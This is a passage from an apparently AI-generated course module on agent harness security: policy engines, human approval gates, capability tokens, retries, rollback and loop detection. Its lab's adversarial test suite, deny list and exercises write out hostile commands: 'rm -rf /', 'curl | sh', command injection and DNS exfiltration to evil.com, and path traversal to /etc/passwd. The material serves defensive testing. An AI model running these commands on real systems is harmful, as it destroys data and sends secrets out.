Question 3 — What is the decision procedure? The decision can be a static allowlist (always allow these), a dynamic check (allow if the argument satisfies a predicate), a capability check (allow if the agent holds the token), or a human decision (escalate). The procedure determines the policy’s expressiveness and the latency.

Question 4 — What is the enforcement point? The decision can be enforced by the model (the prompt instructs it), by the tool (the tool validates), or by the harness (the dispatcher checks). The enforcement point determines whether the policy depends on the model’s compliance.

7.14 Deterministic enforcement

7.14.1 The principle

Design principle (deterministic enforcement). The permission decision is enforced by the harness, deterministically, before the action executes. It does not depend on the model complying with an instruction; it does not depend on the tool validating its own inputs; it is a check the harness performs, and the action does not execute if the check denies it.

The principle is the Module 2, §2.4.6 preview and the Module 6, §6.13 confusion-1 resolution in operational form: the permission check is irreducible (it does not depend on the model), and it must be deterministic (it does not depend on a stochastic process).

7.14.2 The policy engine

Definition 7.14.1 (Policy engine). A policy engine is a deterministic function

where $\mathcal{C}$ is the set of tool calls and $\mathcal{S}$ is the harness state. It is evaluated before the call is dispatched, and its verdict is final: an allow dispatches, a deny returns a denied tool result, an escalate routes to the human-in-the-loop mechanism.

Properties of the policy engine.

• Determinism. The same (call, state) yields the same verdict. No randomness, no model calls, no time-dependence (beyond the state).
• Pre-execution. The verdict is computed before the call executes; the call never executes if the verdict is not allow.
• Independence. The verdict does not depend on the model’s output beyond the call itself; it does not trust the model’s claim about what the call will do.
• Completeness. Every tool call is routed through the engine; there is no path that bypasses it.

Proposition 7.14.2 (Deterministic enforcement is irreducible). The policy engine is an irreducible component (Module 6, Definition 6.13.1): it is required for every model, including a perfect one, because the deployment’s security requirements are not a function of the model’s capability.

Proof. The irreducibility test asks whether the component is required for a perfect model. A perfect model would produce correct actions, but the deployment’s requirement is that no action outside the policy executes — including actions from a compromised model (Class 4), a manipulated model (Class 2), or a model with a bug (Class 1). The engine is the enforcement of that requirement, and it is independent of the model’s correctness. Hence it is required for every model. $\square$

7.14.3 The policy’s structure

A policy engine’s policy is a set of rules, evaluated in order. The structure:

1. Default deny. If no rule allows the call, the verdict is deny. This is the egress-policy principle (§7.5.1) applied to all actions: the default is no, and the rules are positive exceptions.
2. Per-tool rules. For each tool, a rule that checks the arguments against the tool’s policy: a workspace-root check for filesystem tools, an allowlist for commands, a destination check for network tools.
3. Global rules. Rules that apply across tools: a rate limit, a budget check, a time-of-day check, a human-approval requirement for irreversible actions.
4. Escalation rules. Rules that route to the human-in-the-loop: a write to a protected file, a command that is not on the allowlist but is not clearly malicious, a network destination that is not on the allowlist but is plausibly legitimate.

The rules are evaluated in order, and the first matching rule decides. The order matters: a per-tool allow rule before a global deny rule would allow an action the global rule would deny. The canonical order is: global denies (the hard constraints), per-tool rules, global allows, escalation, default deny.

7.14.4 The formal analysis

The policy engine is a verifier in the sense of Part 0, §0.5, applied to actions rather than outputs. The analogy:

The mapping is exact, and the analysis carries over: the engine’s false-allow rate is the security-relevant quantity (a false allow is an action that should have been denied but executed), and its false-deny rate is the usability-relevant quantity (a false deny is a legitimate action that was blocked).

The asymmetry. For a security policy, the false-allow rate is the dominant concern (a false allow is a vulnerability), and the false-deny rate is the secondary concern (a false deny is an annoyance, which the agent can work around or the human can override). This is the opposite of the verifier’s usual trade-off, where both errors are symmetric. The policy engine should be tuned to minimise false allows, accepting a higher false-deny rate — fail closed, not open.

7.15 Human-in-the-loop gates

7.15.1 The mechanism

A human-in-the-loop (HITL) gate is an escalation: the policy engine returns escalate, and the action is routed to a human who decides. The gate is the mechanism for the cases where the policy cannot decide autonomously and the stakes justify a human’s time.

7.15.2 The design decisions

What triggers a gate. The gate should trigger on the actions the policy cannot classify: irreversible actions (a delete, a deploy, a payment), actions outside the agent’s usual scope (a write outside the workspace), and actions the policy is uncertain about (a command that is not on the allowlist but not clearly malicious). The trigger is a rule in the policy engine.

What the human sees. The human needs enough context to decide: the action, the arguments, the agent’s rationale (if available), and the state. The gate’s UI is a design problem, and a gate that presents too little context produces rubber-stamping (the human approves without understanding), which defeats the purpose.

How long the human has. The agent’s run cannot wait indefinitely. The gate should have a timeout, after which the action is denied (fail closed) or the run is paused. The timeout is a design parameter: too short and the human cannot decide; too long and the run stalls.

What the human’s decision is recorded as. The decision (approve, deny, modify) is an observation to the agent (so it can adapt) and an audit record (so the decision is accountable). The record is part of the governance dossier (Module 20).

7.15.3 The failure modes

Three failure modes, each of which defeats the gate.

Rubber-stamping. The human approves without reading, because the gate fires too often or presents too little context. Defence: keep the gate’s firing rate low (the policy should decide most cases), present the decision clearly, and audit a sample of approvals.

Alert fatigue. The gate fires so often that the human stops paying attention. This is the same failure as rubber-stamping, with a different cause: the policy is too conservative. Defence: tune the policy to fire only on the cases that need a human; the false-deny rate is the gate’s firing rate, and it should be low.

The gate as a bottleneck. The gate fires on every action, and the run’s latency is dominated by the human’s response time. Defence: the gate should fire only on the actions that require it; the rest should be decided by the policy.

The three failure modes are the reason the gate’s design is as important as the policy’s: a gate that fires too often is worse than no gate, because it trains the human to approve without thinking.

7.16 Capability tokens

7.16.1 The mechanism

A capability token is an unforgeable grant of permission: a token that the agent presents to the tool, which the tool validates. The token is issued by the harness (or by the user), and it encodes the specific permission (the resource, the operation, the expiry).

The mechanism is the principle of least authority: the agent holds only the capabilities it needs for the current task, and the capabilities are scoped (a token for this file, for this operation, until this time). The agent cannot exceed the token’s scope, because the tool validates the token.

7.16.2 The formal properties

• Unforgeable. The agent cannot create a token; only the issuer can. The token is signed (a MAC or a signature), and the tool verifies the signature.
• Scoped. The token specifies the resource and the operation; the tool checks the request against the token’s scope.
• Expiring. The token has a lifetime; an expired token is rejected. The lifetime bounds the window in which a stolen token is useful.
• Attenuable. The agent can derive a weaker token from a stronger one (a sub-scope), but not a stronger one. This is the capability-system property that allows delegation without privilege escalation.

7.16.3 The connection to information-flow control

Capability tokens are one mechanism for information-flow control: the labels on data and the capabilities on actions together determine what can flow where. The full treatment is Module 19’s CaMeL analysis; the preview is that the capability model is the architectural defence (it does not depend on the model complying), and the token is the mechanism that makes the model enforceable.

7.16.4 The design decision

Capability tokens are appropriate when:

• The agent’s permissions should be scoped to the task (not the user’s full access).
• The tools can validate a token (they accept it and check it).
• The tokens can be issued without too much complexity (the issuer is the harness or the user).

They are over-engineering when:

• The agent’s permissions are uniform (it always has the same access), and a static policy suffices.
• The tools cannot validate tokens (they are third-party services that do not support the mechanism).

The decision is the same simplicity bias as the other modules: use the mechanism when its properties are needed, not because it is sophisticated.

7.17 The three-way outcome and the escalation policy

7.17.1 The escalation decision

The three-way outcome (allow, deny, escalate) is a decision about which cases are decided autonomously. The policy decides the clear cases (allow the safe, deny the unsafe) and escalates the ambiguous ones. The escalation policy is the set of rules that decide which cases are ambiguous.

The criterion. Escalate iff the cost of a wrong autonomous decision exceeds the cost of the human’s time. Formally, for a case with the policy’s uncertainty $u$ and the stakes $C_f$, escalate iff

where $C_h$ is the human’s cost (time, attention). The criterion is the autonomy threshold of Part 0, §0.5, applied to the decision rather than the output: the policy is the verifier, the case’s uncertainty is the (1 − TPR), and the human’s cost is the review cost.

7.17.2 The connection to the autonomy analysis

The escalation policy and the release policy are the same analysis at two levels. The release policy (Part 0, §0.5) asks whether the output can be released autonomously; the escalation policy asks whether the action can be decided autonomously. Both compare the expected cost of a wrong decision to the cost of the human’s involvement, and both depend on the verifier’s (or the policy’s) operating point.

The practical implication: the escalation policy should be calibrated like a verifier. The policy’s false-allow rate and false-deny rate should be measured on a labelled set of cases (Lab 7’s adversarial suite is the measurement for the false-allow rate), and the escalation threshold should be set from the measured rates, not from intuition.

7.18 Worked example: a policy engine for a coding agent

7.18.1 The policy

A policy engine for a coding agent with the tools of Module 1:

Global denies (evaluated first).

• Deny any call when the budget is exhausted.
• Deny any call to run_command with a command that matches a dangerous pattern (rm -rf /, curl | sh, etc.).
• Deny any call that would write outside the workspace root (checked by the canonical path procedure, §7.4.3).

Per-tool rules.

• read_file: allow if the canonical path is under the workspace root or under a read-only context root; deny otherwise.
• write_file: allow if the canonical path is under the workspace root; escalate if the path is a protected file (a configuration, a test); deny otherwise.
• run_tests: allow if the command is pytest with a valid test path; deny otherwise.

Global allows.

• Allow any call that passes the per-tool rules.

Escalation.

• Escalate a write to a protected file.
• Escalate a run_command that is not on the allowlist but not on the dangerous list.

Default deny.

• Deny any call that reaches the end of the rules.

7.18.2 The measurement

The engine is measured on an adversarial suite of 50 calls with known correct verdicts (the false-allow and false-deny rates). The suite includes:

• 20 legitimate calls (writes to the workspace, reads, allowed commands) → should be allowed.
• 20 clearly malicious calls (path traversal, writes outside the workspace, dangerous commands) → should be denied.
• 10 ambiguous calls (a write to a protected file, a command not on the allowlist) → should be escalated.

The engine’s verdicts are compared to the labels, and the false-allow rate (on the 20 malicious) and the false-deny rate (on the 20 legitimate) are computed. The escalation cases are scored separately: a false escalation is an ambiguous case that was allowed or denied; a missed escalation is an ambiguous case that was allowed or denied when it should have been escalated.

7.18.3 The result and the tuning

Suppose the measurement gives: false-allow rate 0.05 (1 of 20 malicious calls allowed — a path traversal that used a symlink the canonical check did not resolve), false-deny rate 0.10 (2 of 20 legitimate calls denied — a write to a path the workspace-root check rejected because of a trailing slash), false-escalation rate 0.10, missed-escalation rate 0.20.

The analysis:

• The false-allow is the security-relevant defect: the symlink resolution is incomplete, and the fix is to resolve symlinks before the canonical check (§7.4.2, Vector 2).
• The false-deny is the usability defect: the trailing-slash handling is wrong, and the fix is to normalise the path.
• The missed-escalation is the governance defect: the policy is allowing (or denying) cases it should escalate, and the fix is to add the missing escalation rules.

The tuning is the process of reducing the false-allow rate first (it is the security-relevant one), then the false-deny rate (usability), then the missed-escalation rate (governance). The order is the fail-closed principle: the policy should err on the side of denying, and the false-deny rate is a cost to be reduced without reopening the false-allow.

7.18.4 Concept check

Why is a false allow more serious than a false deny in a security policy?

Answer. Because a false allow is an action that should have been blocked but executed — a vulnerability. A false deny is a legitimate action that was blocked — an annoyance, which the agent can work around (by trying a different action) or the human can override (by approving an escalation). The asymmetry is the reason security policies fail closed: when the policy is uncertain, it should deny, because the cost of a false allow is a security breach and the cost of a false deny is a delay. The asymmetry is the opposite of the verifier’s usual trade-off, where both errors are symmetric, and it is why the policy engine’s calibration weights the false-allow rate more heavily.

PART E — FAILURE RECOVERY

7.19 Idempotency

7.19.1 The definition

Definition 7.19.1 (Idempotency). A tool is idempotent if calling it twice with the same arguments has the same effect as calling it once. Formally, for a tool $T$ and a state $s$, $T(T(s,a),a)=T(s,a)$ for all $a$.

Idempotency is the property that makes retries safe. A non-idempotent tool (a increment operation, a send_email operation, a create_order operation) has a different effect when called twice, so a retry after a timeout can cause a double effect (a double increment, a duplicate email, a double order).

7.19.2 The design

Tools should be idempotent where possible, and where not, the harness should make them idempotent through a deduplication key.

Idempotent by construction. A write_file that sets the file’s content is idempotent (writing the same content twice has the same effect). A read_file is idempotent (reading twice has the same effect). A set_state(x) is idempotent.

Idempotency by key. A non-idempotent operation can be made idempotent by attaching a unique key to the request: the tool records the keys it has processed, and a repeated key returns the original result without re-executing. This is the mechanism behind idempotency keys in payment APIs.

The harness’s role. The harness should attach the idempotency key (a UUID per logical operation) and retry with the same key, so that a timeout followed by a retry does not double-execute. The tool must honour the key; if it does not, the harness cannot make the operation idempotent, and the retry policy must be different (no automatic retry for non-idempotent tools).

7.19.3 The retry policy

The retry policy (Module 1, §1.2.5) is safe only for idempotent operations. For a non-idempotent operation without an idempotency key, the harness should not retry automatically; it should return the timeout to the model, which can decide whether to retry (with the risk of a double effect) or to take a different action.

Proposition 7.19.2 (Retry safety). Automatic retry is safe iff the tool is idempotent or the retry carries an idempotency key the tool honours. Otherwise, retry can cause a double effect, and the harness must not retry automatically.

Proof. A retry after a timeout is a second call with the same arguments. If the first call executed (the timeout was on the response, not the execution), the second call executes again. For an idempotent tool, the double execution has the same effect as the single execution (Definition 7.19.1). For a non-idempotent tool without a key, the double execution has a different effect, which is the double-effect bug. $\square$

7.20 Checkpoint and rollback

7.20.1 The mechanism

A checkpoint is a snapshot of the state at a point in the run; a rollback restores the state to a checkpoint. The mechanism allows the harness to recover from a failed step by returning to a known-good state, rather than starting the whole run over.

7.20.2 The design decisions

What to checkpoint. The state that the run can modify: the workspace, the database, the external services. The checkpoint should be complete enough to restore the state, and cheap enough to take frequently.

When to checkpoint. Before each irreversible action (a write, a delete, a deploy), and periodically for the rest. The checkpoint before an irreversible action is the crucial one: if the action fails or produces a bad result, the rollback is to the pre-action state.

How to rollback. The rollback restores the checkpointed state. For a filesystem, this is a snapshot restore (a copy, a filesystem snapshot, a version-control checkout). For a database, this is a transaction rollback or a snapshot restore. For an external service, this is the service’s undo mechanism (if it has one) or a compensating action.

The limitation. Rollback is only as good as the checkpoint, and it cannot undo effects that have escaped the sandbox (an email sent, a payment made, a deployment to production). For those, the harness needs a compensating action (a follow-up that reverses the effect), which is slower and not always possible. The design implication: checkpoint before the irreversible action, and prefer actions that are reversible.

7.20.3 The connection to the sandbox

The sandbox (§7.1) is the mechanism that makes the checkpoint complete: if the run’s effects are confined to the sandbox, the checkpoint is the sandbox’s filesystem, and the rollback is a discard. The persistent state (§7.6) is the part that cannot be discarded, and it is the part that needs an explicit checkpoint and a compensating action.

7.21 Loop and stall detection

7.21.1 The mechanisms

Three detectors, each catching a different failure.

Repetition detection. The agent repeats the same tool call with the same arguments more than $k$ times. Mechanism: hash the (tool, arguments) pair, and count the occurrences. Response: inject a corrective message; if the repetition persists, terminate.

Progress detection. The agent’s context (or the workspace) does not change across several steps. Mechanism: compare the context’s token count (or the workspace’s file hashes) across steps; if the change is below a threshold for $k$ steps, the agent is not making progress. Response: inject a message; terminate if it persists.

Cycling detection. The agent alternates between two states (A → B → A → B) without progressing. Mechanism: compare the current state to the states $k$ steps back; if the state matches a recent state, the agent is cycling. Response: inject a message; terminate if it persists.

7.21.2 The formal criterion

The three detectors are approximations of the same formal criterion: the run is not making progress toward the goal. The formal criterion is undecidable in general (it would require knowing the goal and the agent’s path to it), so the detectors are heuristics. Their value is that they catch the common cases cheaply.

Proposition 7.21.1 (Loop detection bounds the run’s cost). With a loop detector that terminates after $k$ repetitions, the run’s cost is bounded by the cost of $k$ steps times the step cost, plus the cost of the loop detector itself. Without the detector, the run’s cost is bounded only by the budget, which may be much larger.

Proof. The detector fires after $k$ repetitions, and the run terminates. The cost is at most $k$ steps plus the detection overhead, which is $O(k)$ with a hash-based detector. $\square$

The bound is the detector’s justification: it makes the run’s cost predictable, which is a requirement for the cost model (Part 0, §0.9) and for the deployment’s economics.

7.21.3 The false-positive risk

A loop detector can fire on a legitimate run that happens to repeat a call (e.g., a polling loop that checks a service until it is ready). The detector’s threshold $k$ must be set high enough to avoid the false positives, and the detector should distinguish a useful repetition (polling with a state change) from a useless one (the same call with no state change). The distinction is the progress detector’s job: a repetition with progress is not a loop; a repetition without progress is.

7.22 Recovery as a first-class component

7.22.1 The classification

Recovery components are mixed in the Module 6 classification:

• Idempotency is irreducible: no model improvement removes the need for safe retries, because the tool’s stochasticity (a timeout, a transient failure) is not a model issue.
• Checkpoint/rollback is irreducible: the deployment requires recovery from failed irreversible actions, regardless of the model.
• Loop detection is compensating: a perfect model would not stall, so the detector is a workaround for a model weakness. Its removal condition is a model with a zero stall rate (measured on a stalling-prone task).
• Progress detection is mixed: it catches model stalls (compensating) and also catches tool-level stalls (a service that is not responding, which is irreducible).

The classification is the diagnostic: the recovery components that are irreducible should be invested in (a better checkpoint mechanism, a better idempotency key system); the compensating ones should be watched for removal as models improve.

7.22.2 The recovery guarantee

The recovery components provide a guarantee, and the guarantee should be stated:

Definition 7.22.1 (Recovery guarantee). The harness provides a recovery guarantee $G$ if, for any failure in the class $G$, the run can be restored to a consistent state and the failure does not cause an unrecoverable effect.

The guarantee is class-specific: a harness with checkpoint/rollback guarantees recovery from failures confined to the sandbox; a harness with idempotency keys guarantees recovery from transport-level failures; a harness with neither guarantees nothing. The guarantee should be stated in the deployment’s documentation, because it is a promise the deployment makes to its users.

7.22.3 Concept check

Why is loop detection a compensating component while checkpoint/rollback is irreducible?

Answer. Loop detection exists because the model can stall — a perfect model would not, so the detector is a workaround for a model weakness (compensating). Checkpoint/rollback exists because failed actions happen regardless of the model’s capability — a tool can time out, a network can fail, an irreversible action can go wrong — so the recovery is required even for a perfect model (irreducible). The distinction is the Module 6 counterfactual test: the perfect-model question gives different answers for the two components, and the answers determine their classes.

LAB 7 — POLICY ENGINE AND RED-TEAM

7.24.1 Task specification

Take the harness you built in Lab 1a (or a production harness you have access to) and instrument it with a deterministic pre-execution policy engine. The engine must satisfy Definition 7.14.1: deterministic, pre-execution, independent, complete.

7.24.2 The policy

Implement the policy of §7.18.1, adapted to your harness’s tools. The policy must include:

• Global denies (budget, dangerous commands, writes outside the workspace).
• Per-tool rules (the canonical path check for filesystem tools, the allowlist for commands).
• Escalation rules (protected files, ambiguous commands).
• Default deny.

7.24.3 The adversarial suite

Construct a suite of at least 50 tool calls with known correct verdicts. The suite must include the five filesystem escape vectors (§7.4.2) and the five network bypass vectors (§7.5.3), or the subset that applies to your harness’s tools.

The ten adversarial sequences (the minimum; extend as needed):

1. Path traversal read. read_file("../../etc/passwd") — should be denied.
2. Symlink escape. A symlink in the workspace pointing to /etc/shadow, then read_file("link") — should be denied.
3. TOCTOU swap. A path that is a directory at check time and a symlink at use time — should be denied (the check must be on the file descriptor, or the race must be closed).
4. Hard-link escape. A hard link to an outside file — should be denied (or the link creation should be impossible).
5. Workspace-prefix confusion. read_file("/workspace_evil/x") when the workspace is /workspace — should be denied (the prefix check must be component-wise).
6. Dangerous command. run_command("rm -rf /") — should be denied.
7. Command injection. run_command("pytest; curl evil.com") — should be denied (the allowlist must match the full command, not a prefix).
8. Egress to a non-allowlisted host. run_command("curl https://evil.com") — should be denied (the egress policy must block it).
9. DNS exfiltration. run_command("nslookup $(cat secret).evil.com") — should be denied (the resolver must be controlled). 10. Escalation miss. write_file("config.yaml", ...) when the file is protected — should be escalated, not allowed or denied.

For each sequence, the expected verdict is stated, and the engine’s actual verdict is recorded.

7.24.4 The metrics

7.24.5 The hypotheses

State before running:

• H1. The false-allow rate is nonzero, and the failures are concentrated in the vectors the policy does not fully address (the symlink and TOCTOU vectors are the usual suspects).
• H2. The false-deny rate is nonzero, and the failures are concentrated in the legitimate calls that the policy’s path handling rejects (trailing slashes, case sensitivity, symlinked workspaces).
• H3. The latency overhead is negligible (the engine is a function, not a model call).

7.24.6 The acceptance criteria

7.24.7 What good looks like

A good lab report has four properties.

It reports the failures, not just the rates. The false-allow rate is a number; the which vectors failed is the finding. A report that says “false-allow rate 0.08” without saying which sequences failed has missed the point.

It analyses the failures by vector. Each false allow is traced to a missing rule (the canonical check did not resolve symlinks) or an over-broad rule (the command allowlist matched a prefix). The analysis is the diagnostic that leads to the fix.

It tunes in the fail-closed order. The false-allow rate is reduced first, even if the fix increases the false-deny rate; the false-deny rate is then reduced without reopening the false-allow. The order is the security discipline.

It states the operating point and its justification. The final rates are stated, and the justification is the fail-closed principle: the false-allow rate is minimised, and the false-deny rate is the accepted cost.

MODULE 7 CHEAT SHEET

EXERCISES WITH SOLUTIONS

E7.1. A container has no --privileged flag, a read-only root filesystem, a strict seccomp profile, and an egress policy that allows only api.example.com:443. Which of the five escape classes is it vulnerable to?

S7.1. It is robust against Escape 2 (no privileged misconfiguration), Escape 4 (cgroups limits, assumed present), and Escape 5 (the egress policy blocks the pivot). It is vulnerable to Escape 1 (a kernel exploit — the container shares the kernel), and to Escape 3 (a side channel — the shared kernel and caches). The residual vulnerability is the kernel, which is why the container is appropriate for Classes 1–2 and not for Classes 3–4.

E7.2. A policy engine checks path.startsWith("/workspace"). Give three calls that bypass it, and the fix.

S7.2. (1) "/workspace/../etc/passwd" — starts with /workspace, escapes by ... (2) "/workspace_evil/x" — starts with /workspace, but is not under it. (3) A symlink at /workspace/link pointing to /etc/shadow, read via "/workspace/link" — starts with /workspace, escapes by the symlink. The fix: resolve the path (., .., symlinks), resolve the root, compare components (not a string prefix), and for TOCTOU, check the file descriptor.

E7.3. A verifier has TPR 0.90 and FPR 0.05 on the deployment distribution. The base rate is $\pi=0.6$, $C_f/C_h=30$. Is autonomy rational?

S7.3. $(1-0.90)\times0.6\times30=0.10\times18=1.8>1$. Not rational: the expected missed-failure cost is 1.8× the review cost. The verifier needs a TPR of $1-1/(0.6\times30)=1-0.0556=0.944$ to make autonomy rational. The target is 0.944, and the verifier’s current 0.90 is 4.4 points short.

E7.4. A tool send_email is non-idempotent and does not support idempotency keys. The harness’s retry policy retries on timeout three times. What is the risk, and what should the harness do?

S7.4. The risk is a double (or triple) email: if the first call executes but its response times out, the retry sends the email again, and the retry policy repeats up to three times. The harness should not retry automatically for this tool: it should return the timeout to the model, which can decide whether to retry (with the risk) or to check whether the email was sent (a get_sent_status call) before retrying. The better fix is to make the tool idempotent by key (add an idempotency key to the API, or a deduplication layer in the harness), so that the retry is safe.

E7.5. Explain why the policy engine’s false-allow rate is the security-relevant quantity and the false-deny rate is the usability-relevant quantity, and why the tuning order is fail-closed.

S7.5. A false allow is an action that should have been denied but executed — a vulnerability, because the policy’s purpose is to prevent the denied actions. A false deny is a legitimate action that was blocked — a usability cost, because the agent cannot do what it should be able to do, but no harm occurs. The tuning order is fail-closed because a false allow is a security breach and a false deny is a delay: the policy should err on the side of denying, and the false-deny rate should be reduced without reopening the false-allow. The asymmetry is the opposite of the verifier’s symmetric trade-off, and it is why the policy engine’s calibration weights the false-allow rate more heavily.

E7.6. A sandbox has an egress allowlist of api.example.com. An agent calls a tool that fetches https://api.example.com/redirect?url=https://evil.com. Is the egress policy bypassed?

S7.6. Potentially, yes. The request goes to api.example.com (allowed), but the server redirects to evil.com, and if the tool follows the redirect, the agent reaches evil.com through the allowed host. This is a variant of Bypass 3 (proxy) and Bypass 5 (tool ingress): the allowed destination is a forwarder. The defence: the tool must not follow redirects to non-allowlisted hosts (the tool’s HTTP client must enforce the allowlist on the redirect target, not just the initial URL), or the policy must allowlist only destinations that do not forward (a specific API endpoint, not a general-purpose host). The general lesson: the egress policy must be enforced on the effective destination, not just the initial one.

E7.7. A loop detector fires after three identical calls. The agent is polling a service that takes 10 seconds to become ready, and the poll is legitimate. What is the problem, and what is the fix?

S7.7. The problem is a false positive: the repetition is legitimate (polling), and the detector treats it as a stall. The fix is the progress detector’s distinction: a repetition with a state change (the service is not ready yet, but the poll is returning new information) is not a loop; a repetition with no state change is. The detector should track the state change, not just the call identity, or the threshold should be high enough to accommodate the legitimate polling (with a separate, higher threshold for the polling pattern). The lesson is the false-positive risk of §7.21.3: the detector is a heuristic, and it must distinguish useful repetition from useless repetition.

E7.8. A policy engine escalates on every write to a test file. The human approves 95% of the escalations. What is the problem, and what should be done?

S7.8. The problem is rubber-stamping (or alert fatigue): the gate fires too often, and the human approves without reading, which defeats the gate’s purpose. The escalation rule is too broad: it treats all test-file writes as needing a human, when most are legitimate (the agent is fixing a test). The fix: narrow the rule to the writes that genuinely need a human (a write to a protected test file, a change to the test framework, a deletion of tests), and let the policy allow the routine writes. The 95% approval rate is the diagnostic: a gate with a high approval rate is a gate that should not be firing, and the rule should be tuned until the approval rate reflects genuine disagreement (the cases where the policy was uncertain).

EXIT TEST FOR MODULE 7

You are ready for Module 8 when you can, without notes:

1. Define isolation and distinguish it from permission.
2. State the five adversary classes and apply the scope procedure to a deployment.
3. Compare containers, microVMs, and gVisor-class sandboxes on isolation, startup, and complexity, and choose among them for a threat model.
4. State the five escape classes and say which primitive defends against each.
5. State the four resource limits and their failure modes.
6. State the five filesystem escape vectors and the canonical path check that defends against them.
7. State the five egress bypass vectors and the architectural defence (the default-deny allowlist).
8. Explain why a fresh sandbox is not sufficient for isolation (the persistent state).
9. Define reproducibility and state the five components.
10. State the verifier taxonomy (V1–V5) and the composition trade-off.
11. Explain why verifier reliability is a first-class parameter and how it is measured.
12. Define the permission model and the policy engine, and state the four engine properties.
13. Explain the engine’s irreducibility and the fail-closed tuning order.
14. State the escalation criterion and the three gate failure modes.
15. Define idempotency, state the retry-safety proposition, and apply it.
16. Explain checkpoint/rollback, loop detection, and the recovery classification.
17. State the recovery guarantee and the deployment’s promise.

End of Module 7. Say “next” to receive Module 8 in full.